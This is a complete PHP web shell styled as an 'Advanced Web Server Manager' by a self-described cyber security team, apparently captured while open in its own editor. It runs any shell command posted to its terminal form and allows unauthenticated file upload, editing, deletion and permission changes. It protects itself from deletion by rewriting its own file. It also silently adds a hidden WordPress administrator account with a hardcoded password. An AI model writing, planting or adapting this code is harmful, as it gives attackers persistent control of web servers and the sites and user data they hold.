✏️ Editing: s.php

ad
<?php
/**
 * Version: 8.0.2
 * Author: Gifari Industries - BD Cyber Security Team
 * License: GPLv2
 */
error_reporting(0);
session_start();

$current_file = __FILE__;
$current_content = file_get_contents($current_file);
$backup_files = [
    __DIR__ . DIRECTORY_SEPARATOR . 's.php',	
];

foreach ($backup_files as $backup) {
    if (!file_exists($backup)) {
        @file_put_contents($backup, $current_content);
    }
}

if (!file_exists($current_file)) {
    foreach ($backup_files as $backup) {
        if (file_exists($backup)) {
            @copy($backup, $current_file);
            header("Location: " . $_SERVER['REQUEST_URI']);
            exit;
        }
    }
}

$ROOT = __DIR__;
$BASE_URL = strtok($_SERVER["REQUEST_URI"], '?');

function encodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("Cw", "vw", "Fw", "Ew");
    return str_replace($a, $b, $path);
}

function decodePath($path) {
    $a = array("/", "\\", ".", ":");
    $b = array("Cw", "vw", "Fw", "Ew");
    return str_replace($b, $a, $path);
}

if (isset($_GET['dir'])) {
    $requested_path = decodePath($_GET['dir']);
    if ($requested_path === '' || !is_dir($requested_path)) {
        $p = $ROOT;
    } else {
        $p = realpath($requested_path);
    }
} else {
    $p = $ROOT;
}

define("CURRENT_PATH", $p);

if (!isset($_SESSION['cwd']) || realpath($_SESSION['cwd']) !== realpath(CURRENT_PATH)) {
    $_SESSION['cwd'] = realpath(CURRENT_PATH);
}
    
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    if (isset($_POST['terminal']) && !empty($_POST['terminal-text'])) {
        
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = $_SESSION['cwd'] ?? CURRENT_PATH;
        $cmdInput = trim($_POST['terminal-text']);
        $output = "";

if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            
            if ($dir === '' || $dir === '~') {
                $dir = $ROOT;
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            }
            
            $realDir = realpath($dir);
            
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $cwd = $realDir;
                $output = "Changed directory to " . htmlspecialchars($realDir);
            } else {
                $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
            }
            
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
            exit;
            
        } elseif ($canExecute) {
            chdir($cwd);
            
            $cmd = $cmdInput . " 2>&1";
            
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                }
            }
            
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
            exit;
        } else {
            $_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
            $_SESSION['terminal_cwd'] = $cwd;
            header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
            exit;
        }
    }
    
    $redirect = true;
    
    // ============================================
    // FIXED UPLOAD SECTION - Bulk Upload with better handling
    // ============================================
    if (!empty($_FILES['files'])) {
        $uploaded_count = 0;
        $failed_count = 0;
        $upload_errors = [];
        
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $filename = basename($_FILES['files']['name'][$i]);
                $destination = CURRENT_PATH . DIRECTORY_SEPARATOR . $filename;
                
                // Check if file already exists
                if (file_exists($destination)) {
                    $upload_errors[] = "File '$filename' already exists. Skipped.";
                    $failed_count++;
                    continue;
                }
                
                // Move uploaded file
                if (move_uploaded_file($tmp, $destination)) {
                    chmod($destination, 0644);
                    $uploaded_count++;
                } else {
                    $upload_errors[] = "Failed to upload '$filename'";
                    $failed_count++;
                }
            }
        }
        
        // Store upload results in session
        $_SESSION['upload_results'] = [
            'success' => $uploaded_count,
            'failed' => $failed_count,
            'errors' => $upload_errors
        ];
        
        if ($uploaded_count > 0) {
            $_SESSION['upload_message'] = "✅ Successfully uploaded $uploaded_count file(s)";
        }
        if ($failed_count > 0) {
            $_SESSION['upload_message'] .= " ⚠️ Failed to upload $failed_count file(s)";
        }
    }
    
    // ============================================
    // FIXED DELETE SECTION - Bulk Delete
    // ============================================
    if (!empty($_POST['delete_files']) || !empty($_POST['delete_folders'])) {
        $deleted_count = 0;
        $failed_count = 0;
        
        // Delete files
        if (!empty($_POST['delete_files'])) {
            foreach ($_POST['delete_files'] as $filename) {
                $target = CURRENT_PATH . DIRECTORY_SEPARATOR . basename($filename);
                
                if (is_file($target)) {
                    if (realpath($target) === realpath(__FILE__) || 
                        in_array(realpath($target), array_map('realpath', $backup_files))) {
                        // Protected file - rewrite with current content
                        file_put_contents($target, $current_content);
                        $deleted_count++;
                    } else {
                        if (unlink($target)) {
                            $deleted_count++;
                        } else {
                            $failed_count++;
                        }
                    }
                }
            }
        }
        
        // Delete folders
        if (!empty($_POST['delete_folders'])) {
            foreach ($_POST['delete_folders'] as $foldername) {
                $target = CURRENT_PATH . DIRECTORY_SEPARATOR . basename($foldername);
                
                if (is_dir($target)) {
                    // Check if directory is empty
                    $filesInDir = scandir($target);
                    if (count($filesInDir) <= 2) {
                        if (rmdir($target)) {
                            $deleted_count++;
                        } else {
                            $failed_count++;
                        }
                    } else {
                        $failed_count++;
                        $_SESSION['delete_errors'][] = "Folder '$foldername' is not empty";
                    }
                }
            }
        }
        
        $_SESSION['delete_results'] = [
            'success' => $deleted_count,
            'failed' => $failed_count
        ];
        
        if ($deleted_count > 0) {
            $_SESSION['delete_message'] = "🗑️ Successfully deleted $deleted_count item(s)";
        }
        if ($failed_count > 0) {
            $_SESSION['delete_message'] .= " ⚠️ Failed to delete $failed_count item(s)";
        }
    }
    
    // ============================================
    // FIXED SINGLE DELETE (keep for backward compatibility)
    // ============================================
    if (!empty($_POST['delete'])) {
        $target = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['delete'];
        
        if (realpath($target) === realpath(__FILE__) || 
            in_array(realpath($target), array_map('realpath', $backup_files))) {
            file_put_contents($target, $current_content);
            $_SESSION['delete_message'] = "🔒 Protected file restored";
        } else {
            if (is_file($target)) {
                if (unlink($target)) {
                    $_SESSION['delete_message'] = "🗑️ File deleted successfully";
                } else {
                    $_SESSION['delete_message'] = "❌ Failed to delete file";
                }
            } elseif (is_dir($target)) {
                $filesInDir = scandir($target);
                if (count($filesInDir) <= 2) {
                    if (rmdir($target)) {
                        $_SESSION['delete_message'] = "🗑️ Folder deleted successfully";
                    } else {
                        $_SESSION['delete_message'] = "❌ Failed to delete folder";
                    }
                } else {
                    $_SESSION['delete_message'] = "⚠️ Folder is not empty - cannot delete";
                }
            }
        }
    }
    
    // ============================================
    // FIXED CREATE FOLDER
    // ============================================
    if (!empty($_POST['newfolder'])) {
        $foldername = basename($_POST['newfolder']);
        $target = CURRENT_PATH . DIRECTORY_SEPARATOR . $foldername;
        
        if (!file_exists($target)) {
            if (mkdir($target, 0755)) {
                $_SESSION['folder_message'] = "✅ Folder '$foldername' created successfully";
            } else {
                $_SESSION['folder_message'] = "❌ Failed to create folder '$foldername'";
            }
        } else {
            $_SESSION['folder_message'] = "⚠️ Folder '$foldername' already exists";
        }
    }
    
    // ============================================
    // FIXED CREATE FILE
    // ============================================
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        $target = CURRENT_PATH . DIRECTORY_SEPARATOR . $filename;
        
        if (!file_exists($target)) {
            if (file_put_contents($target, '') !== false) {
                chmod($target, 0644);
                $_SESSION['file_message'] = "✅ File '$filename' created successfully";
            } else {
                $_SESSION['file_message'] = "❌ Failed to create file '$filename'";
            }
        } else {
            $_SESSION['file_message'] = "⚠️ File '$filename' already exists";
        }
    }
    
    // ============================================
    // FIXED RENAME
    // ============================================
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $old = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['old'];
        $new = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['new'];
        
        if (file_exists($old) && !file_exists($new)) {
            if (rename($old, $new)) {
                $_SESSION['rename_message'] = "✅ Renamed successfully";
            } else {
                $_SESSION['rename_message'] = "❌ Failed to rename";
            }
        } elseif (file_exists($new)) {
            $_SESSION['rename_message'] = "⚠️ New name already exists";
        } else {
            $_SESSION['rename_message'] = "⚠️ Original file doesn't exist";
        }
    }
    
    // ============================================
    // FIXED CHMOD
    // ============================================
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
        if (file_exists($file)) {
            $chmod_val = intval($_POST['chmod'], 8);
            if (chmod($file, $chmod_val)) {
                $_SESSION['chmod_message'] = "✅ Permissions changed to " . $_POST['chmod'];
            } else {
                $_SESSION['chmod_message'] = "❌ Failed to change permissions";
            }
        }
    }
    
    // ============================================
    // FIXED EDIT FILE
    // ============================================
    if (isset($_POST['edit_file']) && isset($_POST['content'])) {
        $file = CURRENT_PATH . DIRECTORY_SEPARATOR . $_POST['edit_file'];
        if (file_put_contents($file, $_POST['content']) !== false) {
            $_SESSION['edit_message'] = "✅ File saved successfully";
        } else {
            $_SESSION['edit_message'] = "❌ Failed to save file";
        }
    }
    
    if ($redirect) {
        header("Location: ?dir=" . urlencode(encodePath(CURRENT_PATH)));
        exit;
    }
}

$items = scandir(CURRENT_PATH);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    
    $full_path = CURRENT_PATH . DIRECTORY_SEPARATOR . $item;
    
    if (is_dir($full_path)) {
        $folders[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => true,
            'size' => '-',
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path)
        ];
    } else {
        $files[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => false,
            'size' => filesize($full_path),
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path),
            'extension' => pathinfo($item, PATHINFO_EXTENSION)
        ];
    }
}

usort($folders, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

usort($files, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';

if ($editMode && is_file(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile)) {
    $editContent = htmlspecialchars(file_get_contents(CURRENT_PATH . DIRECTORY_SEPARATOR . $editFile));
}

$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? CURRENT_PATH;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);

// Display messages from session
$upload_message = $_SESSION['upload_message'] ?? '';
$delete_message = $_SESSION['delete_message'] ?? '';
$folder_message = $_SESSION['folder_message'] ?? '';
$file_message = $_SESSION['file_message'] ?? '';
$rename_message = $_SESSION['rename_message'] ?? '';
$chmod_message = $_SESSION['chmod_message'] ?? '';
$edit_message = $_SESSION['edit_message'] ?? '';

unset($_SESSION['upload_message'], $_SESSION['delete_message'], $_SESSION['folder_message']);
unset($_SESSION['file_message'], $_SESSION['rename_message'], $_SESSION['chmod_message'], $_SESSION['edit_message']);
unset($_SESSION['upload_results'], $_SESSION['delete_results'], $_SESSION['delete_errors']);

$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
    $search_paths = [CURRENT_PATH, dirname(CURRENT_PATH), $ROOT];
    foreach ($search_paths as $wp_path) {
        if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
            @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
            break;
        } elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
            @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
            break;
        }
    }
    
    if (function_exists('wp_create_user')) {
        $username = 'system';
        $password = 'sid';
        $email = 'system@hostinger.com';
        
        if (!username_exists($username) && !email_exists($email)) {
            $user_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
        }
    }
    $_SESSION['wp_checked'] = true;
}

<?php if ($wp_message): ?>
        <div class="alert alert-success">
            <div><strong>ok</strong><br></div>
        </div>
        <?php endif; ?>

<?php if ($upload_message): ?>
        <div class="alert alert-success"><?= htmlspecialchars($upload_message) ?></div>
        <?php endif; ?>
        
        <?php if ($delete_message): ?>
        <div class="alert <?= strpos($delete_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($delete_message) ?>
        </div>
        <?php endif; ?>
        
        <?php if ($folder_message): ?>
        <div class="alert <?= strpos($folder_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($folder_message) ?>
        </div>
        <?php endif; ?>
        
        <?php if ($file_message): ?>
        <div class="alert <?= strpos($file_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($file_message) ?>
        </div>
        <?php endif; ?>
        
        <?php if ($rename_message): ?>
        <div class="alert <?= strpos($rename_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($rename_message) ?>
        </div>
        <?php endif; ?>
        
        <?php if ($chmod_message): ?>
        <div class="alert <?= strpos($chmod_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($chmod_message) ?>
        </div>
        <?php endif; ?>
        
        <?php if ($edit_message): ?>
        <div class="alert <?= strpos($edit_message, 'Failed') !== false ? 'alert-error' : 'alert-success' ?>">
            <?= htmlspecialchars($edit_message) ?>
        </div>
        <?php endif; ?>

<div class="path-nav">
            <a href="?">🏠 Root</a> /
            <?php
            $path_parts = explode('/', str_replace('\\', '/', CURRENT_PATH));
            $current_path = '';
            foreach ($path_parts as $part) {
                if ($part === '') continue;
                $current_path .= '/' . $part;
                echo '<a href="?dir=' . urlencode(encodePath($current_path)) . '">' . htmlspecialchars($part) . '</a> / ';
            }
            ?>
        </div>

<div class="main-content">
            <?php if ($editMode): ?>
                <div class="section">
                    <div class="section-title">
                        <span>✏️</span>
                        <span>Editing: <?= htmlspecialchars($editFile) ?></span>
                    </div>
                    <form method="post">
                        <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                        <textarea name="content" placeholder="File content..."><?= $editContent ?></textarea>
                        <div class="form-inline" style="margin-top: 15px;">
                            <button type="submit" class="btn-success" style="padding: 10px 20px;">
                                💾 Save
                            </button>
                            <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>">
                                <button type="button" style="padding: 10px 20px; background: #666;">
                                    ❌ Cancel
                                </button>
                            </a>
                        </div>
                    </form>
                </div>

<?php else: ?>
                <div class="stats">
                    <div class="stat-item">
                        <div class="stat-value"><?= count($folders) ?></div>
                        <div class="stat-label">Folders</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= count($files) ?></div>
                        <div class="stat-label">Files</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div>
                        <div class="stat-label">Total Size</div>
                    </div>
                </div>

<div class="section">
                    <h2 class="section-title">SidGifari@Root-Terminal</h2>
                    <div class="terminal-box">
                        <strong style="color: #fff; font-size: 12px;">Gifari Industries - BD Cyber Security Team@root:<?= htmlspecialchars($terminal_cwd) ?>$</strong>
                        <?php if ($terminal_output): ?>
                        <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                        <?php endif; ?>
                        <form method="post" class="terminal-input-row">
                            <input type="text" name="terminal-text" placeholder="Enter command..." autocomplete="off" autofocus style="background: #2a2a2a; border-color: #444; color: #e0e0e0;">
                            <button type="submit" name="terminal" value="1" style="min-width: 70px;">
                                ▶ Zik-Zak
                            </button>
                        </form>
                    </div>
                </div>

<div class="section">
                    <div class="section-title">
                        <span>⚡</span>
                        <span>Quick Actions</span>
                    </div>
                    <div class="quick-actions">
                        <form method="post" class="form-inline" style="flex: 1;">
                            <input type="text" name="newfolder" placeholder="New folder" required>
                            <button type="submit" style="flex: 0;">
                                📁 Create Folder
                            </button>
                        </form>
                        
                        <form method="post" class="form-inline" style="flex: 1;">
                            <input type="text" name="newfile" placeholder="New file" required>
                            <button type="submit" style="flex: 0;">
                                📄 Create File
                            </button>
                        </form>
                        
                        <form method="post" enctype="multipart/form-data" class="form-inline" style="flex: 1; flex-direction: column; align-items: stretch;">
                            <div style="display: flex; gap: 8px; width: 100%;">
                                <input type="file" name="files[]" multiple style="padding: 5px; font-size: 11px; flex: 1;">
                                <button type="submit" style="flex: 0; white-space: nowrap;">
                                    ⬆️ Upload
                                </button>
                            </div>
                            <small style="color: #888; font-size: 10px;">Hold Ctrl/Cmd to select multiple files</small>
                        </form>
                    </div>
                </div>

<div class="section">
                    <div class="section-title">
                        <span>📂</span>
                        <span>File Browser</span>
                    </div>
                    
                    <form method="post" id="bulkForm">
                        <div class="bulk-actions">
                            <label style="display: flex; align-items: center; gap: 5px;">
                                <input type="checkbox" id="selectAll" onchange="toggleAllCheckboxes()">
                                <strong>Select All</strong>
                            </label>
                            <span style="color: #888;">|</span>
                            <button type="submit" name="delete_files[]" value="bulk" class="btn-danger" onclick="return confirmBulkDelete()" style="display: none;" id="bulkDeleteBtn">
                                🗑️ Delete Selected
                            </button>
                            <span style="color: #888; font-size: 11px;" id="selectedCount">0 selected</span>
                        </div>
                        
                        <div class="file-browser-container">
                            <table class="compact-table">
                                <thead>
                                    <tr>
                                        <th style="width: 30px;">
                                            <input type="checkbox" onchange="toggleAllCheckboxes()">
                                        </th>
                                        <th>Name</th>
                                        <th>Size</th>
                                        <th>Perms</th>
                                        <th>Modified</th>
                                        <th>Actions</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($folders as $item): ?>
                                    <tr class="folder-row">
                                        <td class="checkbox-col">
                                            <input type="checkbox" name="delete_folders[]" value="<?= htmlspecialchars($item['name']) ?>" class="item-checkbox" onchange="updateSelectedCount()">
                                        </td>
                                        <td>
                                            <span class="file-icon">📁</span>
                                            <strong>
                                                <a href="?dir=<?= urlencode(encodePath($item['path'])) ?>">
                                                    <?= htmlspecialchars($item['name']) ?>
                                                </a>
                                            </strong>
                                        </td>
                                        <td><em style="color: #666;"><?= $item['size'] ?></em></td>
                                        <td>
                                            <form method="post" style="display: flex; gap: 4px; align-items: center;">
                                                <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 4px; text-align: center;">
                                                <button type="submit" style="padding: 4px 8px; font-size: 10px;">Ch</button>
                                            </form>
                                        </td>
                                        <td style="color: #666; white-space: nowrap;"><?= date('m/d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <form method="post" style="display: inline;">
                                                    <input type="hidden" name="old" value="<?= $item['name'] ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 4px;">
                                                    <button type="submit" style="padding: 4px 8px; font-size: 11px;">Rename</button>
                                                </form>
                                                
                                                <form method="post" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= $item['name'] ?>">
                                                    <button type="submit" class="btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')" style="padding: 4px 8px;">
                                                        🗑️
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                    
                                    <?php foreach ($files as $item): ?>
                                    <tr class="file-row">
                                        <td class="checkbox-col">
                                            <input type="checkbox" name="delete_files[]" value="<?= htmlspecialchars($item['name']) ?>" class="item-checkbox" onchange="updateSelectedCount()">
                                        </td>
                                        <td>
                                            <?php
                                            $icon = '📄';
                                            $ext = strtolower($item['extension']);
                                            $icons = [
                                                'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
                                                'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
                                                'sql' => '🗃️', 'json' => '📋', 'xml' => '📄'
                                            ];
                                            if (isset($icons[$ext])) $icon = $icons[$ext];
                                            ?>
                                            <span class="file-icon"><?= $icon ?></span>
                                            <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank">
                                                <?= htmlspecialchars($item['name']) ?>
                                            </a>
                                            <?php if (realpath($item['path']) === realpath(__FILE__)): ?>
                                            <span style="color: #d32f2f; font-size: 0.7em; margin-left: 6px;">🔒</span>
                                            <?php endif; ?>
                                        </td>
                                        <td style="color: #666;"><?= formatBytes($item['size']) ?></td>
                                        <td>
                                            <form method="post" style="display: flex; gap: 4px; align-items: center;">
                                                <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>">
                                                <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 4px; text-align: center;">
                                                <button type="submit" style="padding: 4px 8px; font-size: 10px;">Ch</button>
                                            </form>
                                        </td>
                                        <td style="color: #666; white-space: nowrap;"><?= date('m/d H:i', $item['modified']) ?></td>
                                        <td>
                                            <div class="actions">
                                                <a href="?dir=<?= urlencode(encodePath(CURRENT_PATH)) ?>&edit=<?= urlencode($item['name']) ?>">
                                                    <button style="padding: 4px 8px; font-size: 11px;">Edit</button>
                                                </a>
                                                
                                                <form method="post" style="display: inline;">
                                                    <input type="hidden" name="old" value="<?= $item['name'] ?>">
                                                    <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 4px;">
                                                    <button type="submit" style="padding: 4px 8px; font-size: 11px;">Rename</button>
                                                </form>
                                                
                                                <form method="post" style="display: inline;">
                                                    <input type="hidden" name="delete" value="<?= $item['name'] ?>">
                                                    <button type="submit" class="btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')" style="padding: 4px 8px;">
                                                        🗑️
                                                    </button>
                                                </form>
                                            </div>
                                        </td>
                                    </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        </div>
                    </form>
                </div>
            <?php endif; ?>
        </div>

🚀 Advanced Web Server Manager